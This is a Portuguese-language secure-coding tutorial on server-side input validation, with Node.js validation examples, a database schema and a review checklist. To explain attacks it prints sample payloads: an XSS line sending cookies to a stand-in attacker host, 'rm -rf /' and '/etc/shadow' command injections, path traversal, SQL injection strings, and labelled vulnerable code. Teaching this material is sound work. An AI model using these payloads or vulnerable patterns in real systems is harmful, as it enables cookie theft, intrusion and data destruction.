Validação de entrada: nunca confie no cliente
1. Por que "nunca confie no cliente"?
Em segurança de software, o cliente é qualquer entidade externa ao seu servidor: navegadores, aplicativos móveis, APIs de terceiros, ferramentas de linha de comando ou até mesmo sistemas internos que não passaram por sua validação. O princípio fundamental é: nunca assuma que os dados recebidos são seguros, válidos ou bem-intencionados.
Ataques clássicos exploram exatamente essa confiança ingênua:
- Injeção SQL: Um campo de login recebe
' OR '1'='1e a query se tornaSELECT * FROM usuarios WHERE senha = '' OR '1'='1', retornando todos os registros. - Cross-Site Scripting (XSS): Um formulário de comentários aceita
<script>document.location='https://atacante.com/roubar?cookie='+document.cookie</script>, executando JavaScript malicioso no navegador de outros usuários. - Command Injection: Um campo de busca de arquivos recebe
; rm -rf /, executando comandos arbitrários no servidor.
A validação no front-end (JavaScript no navegador) serve apenas para usabilidade: feedback imediato ao usuário, redução de requisições inválidas. Ela não oferece segurança, pois qualquer um pode desabilitar JavaScript, usar ferramentas como curl/Postman, ou interceptar e modificar requisições. O desenvolvedor back-end é a última linha de defesa contra dados maliciosos.
2. Tipos de validação de entrada
A validação deve ser aplicada em múltiplas dimensões:
Validação de tipo, formato e tamanho:
- Strings: comprimento máximo, charset permitido (ex.: apenas ASCII imprimível)
- Números: inteiros vs. ponto flutuante, limites mínimo e máximo
- Datas: formato ISO 8601, validade lógica (ex.: data não pode ser futura para data de nascimento)
- Campos binários: tamanho máximo em bytes, tipo MIME esperado
Validação semântica:
- CPF/CNPJ: validação de dígitos verificadores
- E-mail: estrutura básica (local@domínio), mas sem regex complexas — prefira validação por envio de confirmação
- Faixas de valores permitidos (ex.: idade entre 0 e 150)
Whitelist vs. Blacklist:
- Whitelist (lista de permissão): Define exatamente o que é aceito. Exemplo: ^[a-zA-Z0-9_]{3,20}$ para nomes de usuário. Mais segura.
- Blacklist (lista de bloqueio): Tenta bloquear padrões maliciosos conhecidos (ex.: ' OR 1=1). Sempre incompleta e frágil.
Sempre prefira whitelist.
3. Ataques comuns por falta de validação
Injeção SQL:
// CÓDIGO VULNERÁVEL
const query = "SELECT * FROM usuarios WHERE email = '" + req.body.email + "'";
db.execute(query);
Com entrada email = "admin@exemplo.com' --", a query se torna:
SELECT * FROM usuarios WHERE email = 'admin@exemplo.com' --'
O -- comenta o resto da query, ignorando a verificação de senha.
Cross-Site Scripting (XSS):
// CÓDIGO VULNERÁVEL
res.send("<h1>Bem-vindo, " + req.query.nome + "</h1>");
Com nome = "<script>alert('XSS')</script>", o script é executado no navegador da vítima.
Path Traversal:
// CÓDIGO VULNERÁVEL
const path = "/var/www/uploads/" + req.params.arquivo;
fs.readFileSync(path);
Com arquivo = "../../etc/passwd", o atacante acessa arquivos sensíveis.
Command Injection:
// CÓDIGO VULNERÁVEL
const cmd = "ping -c 1 " + req.body.host;
exec(cmd, callback);
Com host = "8.8.8.8; cat /etc/shadow", comandos arbitrários são executados.
4. Boas práticas de validação no back-end
Sempre valide no servidor, independentemente da validação client-side. Use bibliotecas consolidadas:
// Exemplo com express-validator (Node.js)
const { body, validationResult } = require('express-validator');
app.post('/usuario',
body('email').isEmail().normalizeEmail(),
body('senha').isLength({ min: 8 }).matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)/),
body('idade').isInt({ min: 0, max: 150 }),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Processamento seguro...
}
);
Normalize e sanitize antes de processar:
- Remova caracteres de controle (ASCII 0-31)
- Codifique Unicode para NFC (Normalization Form C)
- Sanitize contra injeção: use escape() ou bibliotecas específicas
5. Validação de entrada em APIs e formulários
Parâmetros de URL, query strings e cabeçalhos HTTP:
// Validação de query string
app.get('/api/usuarios', (req, res) => {
const pagina = parseInt(req.query.pagina);
if (isNaN(pagina) || pagina < 1) {
return res.status(400).json({ erro: 'Página inválida' });
}
// ...
});
Payloads JSON/XML: Valide contra um esquema definido:
// Exemplo com Joi (Node.js)
const schema = Joi.object({
nome: Joi.string().min(2).max(100).required(),
email: Joi.string().email().required(),
roles: Joi.array().items(Joi.string().valid('admin', 'user')).min(1)
});
const { error, value } = schema.validate(req.body);
Upload de arquivos:
- Verifique o tipo MIME real (não confie na extensão ou no Content-Type enviado)
- Limite o tamanho máximo
- Valide o nome do arquivo (remova ../, caracteres especiais)
- Armazene em diretório sem permissão de execução
// Validação de upload
const filetypes = /jpeg|jpg|png|gif/;
const mimetype = filetypes.test(file.mimetype);
const extname = filetypes.test(path.extname(file.originalname).toLowerCase());
if (mimetype && extname && file.size <= 5 * 1024 * 1024) {
// Processar upload
}
6. Validação em diferentes camadas da aplicação
Controller vs. Model/Serviço:
- Controller: Validação de formato, tipos, presença de campos obrigatórios
- Serviço/Modelo: Validação semântica, regras de negócio, integridade referencial
- Banco de dados: Constraints como NOT NULL, CHECK, UNIQUE, chaves estrangeiras
Middleware de validação centralizada:
// Middleware reutilizável (Express.js)
function validarUsuario(req, res, next) {
const { nome, email, senha } = req.body;
if (!nome || nome.length < 2) {
return res.status(400).json({ erro: 'Nome deve ter ao menos 2 caracteres' });
}
if (!email || !email.includes('@')) {
return res.status(400).json({ erro: 'Email inválido' });
}
// ... mais validações
next();
}
app.post('/usuario', validarUsuario, criarUsuarioController);
Validação em bancos de dados:
-- Exemplo PostgreSQL
CREATE TABLE usuarios (
id SERIAL PRIMARY KEY,
email VARCHAR(255) UNIQUE NOT NULL,
idade INTEGER CHECK (idade >= 0 AND idade <= 150),
nome VARCHAR(100) NOT NULL CHECK (nome ~ '^[a-zA-ZÀ-ÿ\s]+$')
);
7. Erros comuns ao implementar validação
Regex mal escritas para e-mail:
A regex ^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ parece boa, mas permite e-mails como teste@a..b ou a@b.c (domínios de 1 caractere). A validação definitiva de e-mail é enviar um link de confirmação.
Confiar apenas em validação client-side:
Nunca use validação HTML5 (required, type="email") ou JavaScript como única barreira. Um curl simples ignora tudo.
Não validar entradas indiretas:
- Cabeçalhos HTTP: User-Agent, Referer, X-Forwarded-For
- Cookies: podem ser manipulados pelo cliente
- Resultados de cache: dados armazenados em cache podem estar corrompidos
- Metadados de arquivos: EXIF de imagens pode conter dados maliciosos
8. Conclusão e checklist de segurança
O princípio "nunca confie no cliente" é a base da segurança em aplicações web. Toda entrada — seja de formulários, APIs, cabeçalhos, cookies, arquivos ou bancos de dados externos — deve ser tratada como potencialmente maliciosa até prova em contrário.
Checklist para revisão de código:
- [ ] Todos os campos de entrada são validados no servidor?
- [ ] A validação usa whitelist sempre que possível?
- [ ] Os tipos, formatos e tamanhos são verificados explicitamente?
- [ ] A validação semântica (CPF, e-mail, faixas) está implementada?
- [ ] As queries SQL usam prepared statements ou ORM com binding?
- [ ] A saída é sanitizada contra XSS (escape de HTML, JSON, etc.)?
- [ ] Uploads de arquivo têm validação de tipo MIME, tamanho e nome?
- [ ] Headers HTTP e cookies são validados e sanitizados?
- [ ] Há validação redundante em múltiplas camadas (controller, serviço, banco)?
- [ ] Bibliotecas de validação são atualizadas e consolidadas?
Temas vizinhos para aprofundamento: sanitização de saída (output encoding), gerenciamento seguro de dependências, autenticação/autorização, upload seguro de arquivos, proteção contra CSRF e rate limiting.
Lembre-se: um desenvolvedor que confia no cliente está, na verdade, entregando as chaves do servidor para o atacante.
Referências
- OWASP Input Validation Cheat Sheet — Guia completo da OWASP sobre validação de entrada, com exemplos para diversas linguagens e cenários.
- MDN Web Docs: Input Validation — Documentação da Mozilla sobre segurança em servidores web, com foco em validação de entrada e prevenção de ataques.
- Express Validator Documentation — Documentação oficial da biblioteca express-validator para Node.js, com exemplos de validação e sanitização.
- OWASP SQL Injection Prevention Cheat Sheet — Guia prático para prevenção de injeção SQL, incluindo prepared statements e validação de entrada.
- CWE-20: Improper Input Validation — Entrada no Common Weakness Enumeration sobre validação inadequada de entrada, com referências a ataques e mitigação.
- PortSwigger: Input Validation Vulnerabilities — Artigos e laboratórios práticos do PortSwigger sobre vulnerabilidades de validação de entrada, incluindo XSS, SQLi e path traversal.